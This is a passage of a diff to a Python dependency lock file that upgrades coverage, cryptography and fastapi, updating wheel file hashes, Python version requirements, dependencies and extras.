"sha256:e6f70dec1cc557e52df5306d051ef56003f74d56e9c4dd7ddb07e07ef32a84dd"}, + {file = "coverage-7.13.4-cp313-cp313-win_arm64.whl", hash = "sha256:fb07dc5da7e849e2ad31a5d74e9bece81f30ecf5a42909d0a695f8bd1874d6af"}, + {file = "coverage-7.13.4-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40d74da8e6c4b9ac18b15331c4b5ebc35a17069410cad462ad4f40dcd2d50c0d"}, + {file = "coverage-7.13.4-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:4223b4230a376138939a9173f1bdd6521994f2aff8047fae100d6d94d50c5a12"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:1d4be36a5114c499f9f1f9195e95ebf979460dbe2d88e6816ea202010ba1c34b"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:200dea7d1e8095cc6e98cdabe3fd1d21ab17d3cee6dab00cadbb2fe35d9c15b9"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b8eb931ee8e6d8243e253e5ed7336deea6904369d2fd8ae6e43f68abbf167092"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:75eab1ebe4f2f64d9509b984f9314d4aa788540368218b858dad56dc8f3e5eb9"}, + {file = "coverage-7.13.4-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c35eb28c1d085eb7d8c9b3296567a1bebe03ce72962e932431b9a61f28facf26"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:eb88b316ec33760714a4720feb2816a3a59180fd58c1985012054fa7aebee4c2"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:7d41eead3cc673cbd38a4417deb7fd0b4ca26954ff7dc6078e33f6ff97bed940"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:fb26a934946a6afe0e326aebe0730cdff393a8bc0bbb65a2f41e30feddca399c"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:dae88bc0fc77edaa65c14be099bd57ee140cf507e6bfdeea7938457ab387efb0"}, + {file = "coverage-7.13.4-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:845f352911777a8e722bfce168958214951e07e47e5d5d9744109fa5fe77f79b"}, + {file = "coverage-7.13.4-cp313-cp313t-win32.whl", hash = "sha256:2fa8d5f8de70688a28240de9e139fa16b153cc3cbb01c5f16d88d6505ebdadf9"}, + {file = "coverage-7.13.4-cp313-cp313t-win_amd64.whl", hash = "sha256:9351229c8c8407645840edcc277f4a2d44814d1bc34a2128c11c2a031d45a5dd"}, + {file = "coverage-7.13.4-cp313-cp313t-win_arm64.whl", hash = "sha256:30b8d0512f2dc8c8747557e8fb459d6176a2c9e5731e2b74d311c03b78451997"}, + {file = "coverage-7.13.4-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:300deaee342f90696ed186e3a00c71b5b3d27bffe9e827677954f4ee56969601"}, + {file = "coverage-7.13.4-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:29e3220258d682b6226a9b0925bc563ed9a1ebcff3cad30f043eceea7eaf2689"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:391ee8f19bef69210978363ca930f7328081c6a0152f1166c91f0b5fdd2a773c"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0dd7ab8278f0d58a0128ba2fca25824321f05d059c1441800e934ff2efa52129"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:78cdf0d578b15148b009ccf18c686aa4f719d887e76e6b40c38ffb61d264a552"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:48685fee12c2eb3b27c62f2658e7ea21e9c3239cba5a8a242801a0a3f6a8c62a"}, + {file = "coverage-7.13.4-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:4e83efc079eb39480e6346a15a1bcb3e9b04759c5202d157e1dd4303cd619356"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ecae9737b72408d6a950f7e525f30aca12d4bd8dd95e37342e5beb3a2a8c4f71"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:ae4578f8528569d3cf303fef2ea569c7f4c4059a38c8667ccef15c6e1f118aa5"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:6fdef321fdfbb30a197efa02d48fcd9981f0d8ad2ae8903ac318adc653f5df98"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:2b0f6ccf3dbe577170bebfce1318707d0e8c3650003cb4b3a9dd744575daa8b5"}, + {file = "coverage-7.13.4-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:75fcd519f2a5765db3f0e391eb3b7d150cce1a771bf4c9f861aeab86c767a3c0"}, + {file = "coverage-7.13.4-cp314-cp314-win32.whl", hash = "sha256:8e798c266c378da2bd819b0677df41ab46d78065fb2a399558f3f6cae78b2fbb"}, + {file = "coverage-7.13.4-cp314-cp314-win_amd64.whl", hash = "sha256:245e37f664d89861cf2329c9afa2c1fe9e6d4e1a09d872c947e70718aeeac505"}, + {file = "coverage-7.13.4-cp314-cp314-win_arm64.whl", hash = "sha256:ad27098a189e5838900ce4c2a99f2fe42a0bf0c2093c17c69b45a71579e8d4a2"}, + {file = "coverage-7.13.4-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:85480adfb35ffc32d40918aad81b89c69c9cc5661a9b8a81476d3e645321a056"}, + {file = "coverage-7.13.4-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:79be69cf7f3bf9b0deeeb062eab7ac7f36cd4cc4c4dd694bd28921ba4d8596cc"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:caa421e2684e382c5d8973ac55e4f36bed6821a9bad5c953494de960c74595c9"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:14375934243ee05f56c45393fe2ce81fe5cc503c07cee2bdf1725fb8bef3ffaf"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:25a41c3104d08edb094d9db0d905ca54d0cd41c928bb6be3c4c799a54753af55"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6f01afcff62bf9a08fb32b2c1d6e924236c0383c02c790732b6537269e466a72"}, + {file = "coverage-7.13.4-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:eb9078108fbf0bcdde37c3f4779303673c2fa1fe8f7956e68d447d0dd426d38a"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:0e086334e8537ddd17e5f16a344777c1ab8194986ec533711cbe6c41cde841b6"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:725d985c5ab621268b2edb8e50dfe57633dc69bda071abc470fed55a14935fd3"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:3c06f0f1337c667b971ca2f975523347e63ec5e500b9aa5882d91931cd3ef750"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:590c0ed4bf8e85f745e6b805b2e1c457b2e33d5255dd9729743165253bc9ad39"}, + {file = "coverage-7.13.4-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:eb30bf180de3f632cd043322dad5751390e5385108b2807368997d1a92a509d0"}, + {file = "coverage-7.13.4-cp314-cp314t-win32.whl", hash = "sha256:c4240e7eded42d131a2d2c4dec70374b781b043ddc79a9de4d55ca71f8e98aea"}, + {file = "coverage-7.13.4-cp314-cp314t-win_amd64.whl", hash = "sha256:4c7d3cc01e7350f2f0f6f7036caaf5673fb56b6998889ccfe9e1c1fe75a9c932"}, + {file = "coverage-7.13.4-cp314-cp314t-win_arm64.whl", hash = "sha256:23e3f687cf945070d1c90f85db66d11e3025665d8dafa831301a0e0038f3db9b"}, + {file = "coverage-7.13.4-py3-none-any.whl", hash = "sha256:1af1641e57cf7ba1bd67d677c9abdbcd6cc2ab7da3bca7fa1e2b7e50e65f2ad0"}, + {file = "coverage-7.13.4.tar.gz", hash = "sha256:e5c8f6ed1e61a8b2dcdf31eb0b9bbf0130750ca79c1c49eb898e2ad86f5ccc91"}, ] [package.extras] -toml = ["tomli ; python_full_version <= \"3.11.0a6\""] +toml = ["tomli"] [[package]] name = "cryptography" -version = "45.0.7" +version = "46.0.5" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false -python-versions = "!=3.9.0,!=3.9.1,>=3.7" +python-versions = "!=3.9.0,!=3.9.1,>=3.8" groups = ["main"] files = [ - {file = "cryptography-45.0.7-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:3be4f21c6245930688bd9e162829480de027f8bf962ede33d4f8ba7d67a00cee"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:67285f8a611b0ebc0857ced2081e30302909f571a46bfa7a3cc0ad303fe015c6"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:577470e39e60a6cd7780793202e63536026d9b8641de011ed9d8174da9ca5339"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:4bd3e5c4b9682bc112d634f2c6ccc6736ed3635fc3319ac2bb11d768cc5a00d8"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:465ccac9d70115cd4de7186e60cfe989de73f7bb23e8a7aa45af18f7412e75bf"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:16ede8a4f7929b4b7ff3642eba2bf79aa1d71f24ab6ee443935c0d269b6bc513"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:8978132287a9d3ad6b54fcd1e08548033cc09dc6aacacb6c004c73c3eb5d3ac3"}, - {file = "cryptography-45.0.7-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:b6a0e535baec27b528cb07a119f321ac024592388c5681a5ced167ae98e9fff3"}, - {file = "cryptography-45.0.7-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:a24ee598d10befaec178efdff6054bc4d7e883f615bfbcd08126a0f4931c83a6"}, - {file = "cryptography-45.0.7-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:fa26fa54c0a9384c27fcdc905a2fb7d60ac6e47d14bc2692145f2b3b1e2cfdbd"}, - {file = "cryptography-45.0.7-cp311-abi3-win32.whl", hash = "sha256:bef32a5e327bd8e5af915d3416ffefdbe65ed975b646b3805be81b23580b57b8"}, - {file = "cryptography-45.0.7-cp311-abi3-win_amd64.whl", hash = "sha256:3808e6b2e5f0b46d981c24d79648e5c25c35e59902ea4391a0dcb3e667bf7443"}, - {file = "cryptography-45.0.7-cp37-abi3-macosx_10_9_universal2.whl", hash = "sha256:bfb4c801f65dd61cedfc61a83732327fafbac55a47282e6f26f073ca7a41c3b2"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:81823935e2f8d476707e85a78a405953a03ef7b7b4f55f93f7c2d9680e5e0691"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:3994c809c17fc570c2af12c9b840d7cea85a9fd3e5c0e0491f4fa3c029216d59"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:dad43797959a74103cb59c5dac71409f9c27d34c8a05921341fb64ea8ccb1dd4"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ce7a453385e4c4693985b4a4a3533e041558851eae061a58a5405363b098fcd3"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:b04f85ac3a90c227b6e5890acb0edbaf3140938dbecf07bff618bf3638578cf1"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:48c41a44ef8b8c2e80ca4527ee81daa4c527df3ecbc9423c41a420a9559d0e27"}, - {file = "cryptography-45.0.7-cp37-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:f3df7b3d0f91b88b2106031fd995802a2e9ae13e02c36c1fc075b43f420f3a17"}, - {file = "cryptography-45.0.7-cp37-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:dd342f085542f6eb894ca00ef70236ea46070c8a13824c6bde0dfdcd36065b9b"}, - {file = "cryptography-45.0.7-cp37-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:1993a1bb7e4eccfb922b6cd414f072e08ff5816702a0bdb8941c247a6b1b287c"}, - {file = "cryptography-45.0.7-cp37-abi3-win32.whl", hash = "sha256:18fcf70f243fe07252dcb1b268a687f2358025ce32f9f88028ca5c364b123ef5"}, - {file = "cryptography-45.0.7-cp37-abi3-win_amd64.whl", hash = "sha256:7285a89df4900ed3bfaad5679b1e668cb4b38a8de1ccbfc84b05f34512da0a90"}, - {file = "cryptography-45.0.7-pp310-pypy310_pp73-macosx_10_9_x86_64.whl", hash = "sha256:de58755d723e86175756f463f2f0bddd45cc36fbd62601228a3f8761c9f58252"}, - {file = "cryptography-45.0.7-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a20e442e917889d1a6b3c570c9e3fa2fdc398c20868abcea268ea33c024c4083"}, - {file = "cryptography-45.0.7-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:258e0dff86d1d891169b5af222d362468a9570e2532923088658aa866eb11130"}, - {file = "cryptography-45.0.7-pp310-pypy310_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:d97cf502abe2ab9eff8bd5e4aca274da8d06dd3ef08b759a8d6143f4ad65d4b4"}, - {file = "cryptography-45.0.7-pp310-pypy310_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:c987dad82e8c65ebc985f5dae5e74a3beda9d0a2a4daf8a1115f3772b59e5141"}, - {file = "cryptography-45.0.7-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:c13b1e3afd29a5b3b2656257f14669ca8fa8d7956d509926f0b130b600b50ab7"}, - {file = "cryptography-45.0.7-pp311-pypy311_pp73-macosx_10_9_x86_64.whl", hash = "sha256:4a862753b36620af6fc54209264f92c716367f2f0ff4624952276a6bbd18cbde"}, - {file = "cryptography-45.0.7-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:06ce84dc14df0bf6ea84666f958e6080cdb6fe1231be2a51f3fc1267d9f3fb34"}, - {file = "cryptography-45.0.7-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:d0c5c6bac22b177bf8da7435d9d27a6834ee130309749d162b26c3105c0795a9"}, - {file = "cryptography-45.0.7-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:2f641b64acc00811da98df63df7d59fd4706c0df449da71cb7ac39a0732b40ae"}, - {file = "cryptography-45.0.7-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:f5414a788ecc6ee6bc58560e85ca624258a55ca434884445440a810796ea0e0b"}, - {file = "cryptography-45.0.7-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:1f3d56f73595376f4244646dd5c5870c14c196949807be39e79e7bd9bac3da63"}, - {file = "cryptography-45.0.7.tar.gz", hash = "sha256:4b1654dfc64ea479c242508eb8c724044f1e964a47d1d1cacc5132292d851971"}, + {file = "cryptography-46.0.5-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:351695ada9ea9618b3500b490ad54c739860883df6c1f555e088eaf25b1bbaad"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c18ff11e86df2e28854939acde2d003f7984f721eba450b56a200ad90eeb0e6b"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4d7e3d356b8cd4ea5aff04f129d5f66ebdc7b6f8eae802b93739ed520c47c79b"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:50bfb6925eff619c9c023b967d5b77a54e04256c4281b0e21336a130cd7fc263"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:803812e111e75d1aa73690d2facc295eaefd4439be1023fefc4995eaea2af90d"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ee190460e2fbe447175cda91b88b84ae8322a104fc27766ad09428754a618ed"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:f145bba11b878005c496e93e257c1e88f154d278d2638e6450d17e0f31e558d2"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:e9251e3be159d1020c4030bd2e5f84d6a43fe54b6c19c12f51cde9542a2817b2"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:47fb8a66058b80e509c47118ef8a75d14c455e81ac369050f20ba0d23e77fee0"}, + {file = "cryptography-46.0.5-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:4c3341037c136030cb46e4b1e17b7418ea4cbd9dd207e4a6f3b2b24e0d4ac731"}, + {file = "cryptography-46.0.5-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:890bcb4abd5a2d3f852196437129eb3667d62630333aacc13dfd470fad3aaa82"}, + {file = "cryptography-46.0.5-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:80a8d7bfdf38f87ca30a5391c0c9ce4ed2926918e017c29ddf643d0ed2778ea1"}, + {file = "cryptography-46.0.5-cp311-abi3-win32.whl", hash = "sha256:60ee7e19e95104d4c03871d7d7dfb3d22ef8a9b9c6778c94e1c8fcc8365afd48"}, + {file = "cryptography-46.0.5-cp311-abi3-win_amd64.whl", hash = "sha256:38946c54b16c885c72c4f59846be9743d699eee2b69b6988e0a00a01f46a61a4"}, + {file = "cryptography-46.0.5-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:94a76daa32eb78d61339aff7952ea819b1734b46f73646a07decb40e5b3448e2"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5be7bf2fb40769e05739dd0046e7b26f9d4670badc7b032d6ce4db64dddc0678"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:fe346b143ff9685e40192a4960938545c699054ba11d4f9029f94751e3f71d87"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:c69fd885df7d089548a42d5ec05be26050ebcd2283d89b3d30676eb32ff87dee"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:8293f3dea7fc929ef7240796ba231413afa7b68ce38fd21da2995549f5961981"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:1abfdb89b41c3be0365328a410baa9df3ff8a9110fb75e7b52e66803ddabc9a9"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:d66e421495fdb797610a08f43b05269e0a5ea7f5e652a89bfd5a7d3c1dee3648"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:4e817a8920bfbcff8940ecfd60f23d01836408242b30f1a708d93198393a80b4"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:68f68d13f2e1cb95163fa3b4db4bf9a159a418f5f6e7242564fc75fcae667fd0"}, + {file = "cryptography-46.0.5-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a3d1fae9863299076f05cb8a778c467578262fae09f9dc0ee9b12eb4268ce663"}, + {file = "cryptography-46.0.5-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c4143987a42a2397f2fc3b4d7e3a7d313fbe684f67ff443999e803dd75a76826"}, + {file = "cryptography-46.0.5-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:7d731d4b107030987fd61a7f8ab512b25b53cef8f233a97379ede116f30eb67d"}, + {file = "cryptography-46.0.5-cp314-cp314t-win32.whl", hash = "sha256:c3bcce8521d785d510b2aad26ae2c966092b7daa8f45dd8f44734a104dc0bc1a"}, + {file = "cryptography-46.0.5-cp314-cp314t-win_amd64.whl", hash = "sha256:4d8ae8659ab18c65ced284993c2265910f6c9e650189d4e3f68445ef82a810e4"}, + {file = "cryptography-46.0.5-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:4108d4c09fbbf2789d0c926eb4152ae1760d5a2d97612b92d508d96c861e4d31"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:7d1f30a86d2757199cb2d56e48cce14deddf1f9c95f1ef1b64ee91ea43fe2e18"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:039917b0dc418bb9f6edce8a906572d69e74bd330b0b3fea4f79dab7f8ddd235"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:ba2a27ff02f48193fc4daeadf8ad2590516fa3d0adeeb34336b96f7fa64c1e3a"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:61aa400dce22cb001a98014f647dc21cda08f7915ceb95df0c9eaf84b4b6af76"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:3ce58ba46e1bc2aac4f7d9290223cead56743fa6ab94a5d53292ffaac6a91614"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:420d0e909050490d04359e7fdb5ed7e667ca5c3c402b809ae2563d7e66a92229"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:582f5fcd2afa31622f317f80426a027f30dc792e9c80ffee87b993200ea115f1"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:bfd56bb4b37ed4f330b82402f6f435845a5f5648edf1ad497da51a8452d5d62d"}, + {file = "cryptography-46.0.5-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:a3d507bb6a513ca96ba84443226af944b0f7f47dcc9a399d110cd6146481d24c"}, + {file = "cryptography-46.0.5-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:9f16fbdf4da055efb21c22d81b89f155f02ba420558db21288b3d0035bafd5f4"}, + {file = "cryptography-46.0.5-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:ced80795227d70549a411a4ab66e8ce307899fad2220ce5ab2f296e687eacde9"}, + {file = "cryptography-46.0.5-cp38-abi3-win32.whl", hash = "sha256:02f547fce831f5096c9a567fd41bc12ca8f11df260959ecc7c3202555cc47a72"}, + {file = "cryptography-46.0.5-cp38-abi3-win_amd64.whl", hash = "sha256:556e106ee01aa13484ce9b0239bca667be5004efb0aabbed28d353df86445595"}, + {file = "cryptography-46.0.5-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:3b4995dc971c9fb83c25aa44cf45f02ba86f71ee600d81091c2f0cbae116b06c"}, + {file = "cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:bc84e875994c3b445871ea7181d424588171efec3e185dced958dad9e001950a"}, + {file = "cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:2ae6971afd6246710480e3f15824ed3029a60fc16991db250034efd0b9fb4356"}, + {file = "cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:d861ee9e76ace6cf36a6a89b959ec08e7bc2493ee39d07ffe5acb23ef46d27da"}, + {file = "cryptography-46.0.5-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:2b7a67c9cd56372f3249b39699f2ad479f6991e62ea15800973b956f4b73e257"}, + {file = "cryptography-46.0.5-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:8456928655f856c6e1533ff59d5be76578a7157224dbd9ce6872f25055ab9ab7"}, + {file = "cryptography-46.0.5.tar.gz", hash = "sha256:abace499247268e3757271b2f1e244b36b06f8515cf27c4d49468fc9eb16e93d"}, ] [package.dependencies] -cffi = {version = ">=1.14", markers = "platform_python_implementation != \"PyPy\""} +cffi = {version = ">=2.0.0", markers = "python_full_version >= \"3.9\" and platform_python_implementation != \"PyPy\""} [package.extras] -docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs ; python_full_version >= \"3.8.0\"", "sphinx-rtd-theme (>=3.0.0) ; python_full_version >= \"3.8.0\""] +docs = ["sphinx (>=5.3.0)", "sphinx-inline-tabs", "sphinx-rtd-theme (>=3.0.0)"] docstest = ["pyenchant (>=3)", "readme-renderer (>=30.0)", "sphinxcontrib-spelling (>=7.3.1)"] -nox = ["nox (>=2024.4.15)", "nox[uv] (>=2024.3.2) ; python_full_version >= \"3.8.0\""] -pep8test = ["check-sdist ; python_full_version >= \"3.8.0\"", "click (>=8.0.1)", "mypy (>=1.4)", "ruff (>=0.3.6)"] +nox = ["nox[uv] (>=2024.4.15)"] +pep8test = ["check-sdist", "click (>=8.0.1)", "mypy (>=1.14)", "ruff (>=0.11.11)"] sdist = ["build (>=1.0.0)"] ssh = ["bcrypt (>=3.1.5)"] -test = ["certifi (>=2024)", "cryptography-vectors (==45.0.7)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] +test = ["certifi (>=2024)", "cryptography-vectors (==46.0.5)", "pretend (>=0.7)", "pytest (>=7.4.0)", "pytest-benchmark (>=4.0)", "pytest-cov (>=2.10.1)", "pytest-xdist (>=3.5.0)"] test-randomorder = ["pytest-randomly"] [[package]] @@ -569,36 +656,38 @@ gmpy2 = ["gmpy2"] [[package]] name = "fastapi" -version = "0.116.1" +version = "0.129.0" description = "FastAPI framework, high performance, easy to learn, fast to code, ready for production" optional = false -python-versions = ">=3.8" +python-versions = ">=3.10" groups = ["main"] files = [ - {file = "fastapi-0.116.1-py3-none-any.whl", hash = "sha256:c46ac7c312df840f0c9e220f7964bada936781bc4e2e6eb71f1c4d7553786565"}, - {file = "fastapi-0.116.1.tar.gz", hash = "sha256:ed52cbf946abfd70c5a0dccb24673f0670deeb517a88b3544d03c2a6bf283143"}, + {file = "fastapi-0.129.0-py3-none-any.whl", hash = "sha256:b4946880e48f462692b31c083be0432275cbfb6e2274566b1be91479cc1a84ec"}, + {file = "fastapi-0.129.0.tar.gz", hash = "sha256:61315cebd2e65df5f97ec298c888f9de30430dd0612d59d6480beafbc10655af"}, ] [package.dependencies] -pydantic = ">=1.7.4,<1.8 || >1.8,<1.8.1 || >1.8.1,<2.0.0 || >2.0.0,<2.0.1 || >2.0.1,<2.1.0 || >2.1.0,<3.0.0" -starlette = ">=0.40.0,<0.48.0" +annotated-doc = ">=0.0.2" +pydantic = ">=2.7.0" +starlette = ">=0.40.0,<1.0.0" typing-extensions = ">=4.8.0" +typing-inspection = ">=0.4.2" [package.extras] -all = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0)", "itsdangerous (>=1.1.0)", "jinja2 (>=3.1.5)", "orjson (>=3.2.1)", "pydantic-extra-types (>=2.0.0)", "pydantic-settings (>=2.0.0)", "python-multipart (>=0.0.18)", "pyyaml (>=5.3.1)", "ujson (>=4.0.1,!=4.0.2,!=4.1.0,!=4.2.0,!=4.3.0,!=5.0.0,!=5.1.0)", "uvicorn[standard] (>=0.12.0)"] -standard = ["email-validator (>=2.0.0)", "fastapi-cli[standard] (>=0.0.8)", "httpx (>=0.23.0)", "jinja2 (>=3.1.5)", "python-multipart (>=0.0.18)", "uvicorn[standard] (>=0.12.0)"] -standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", 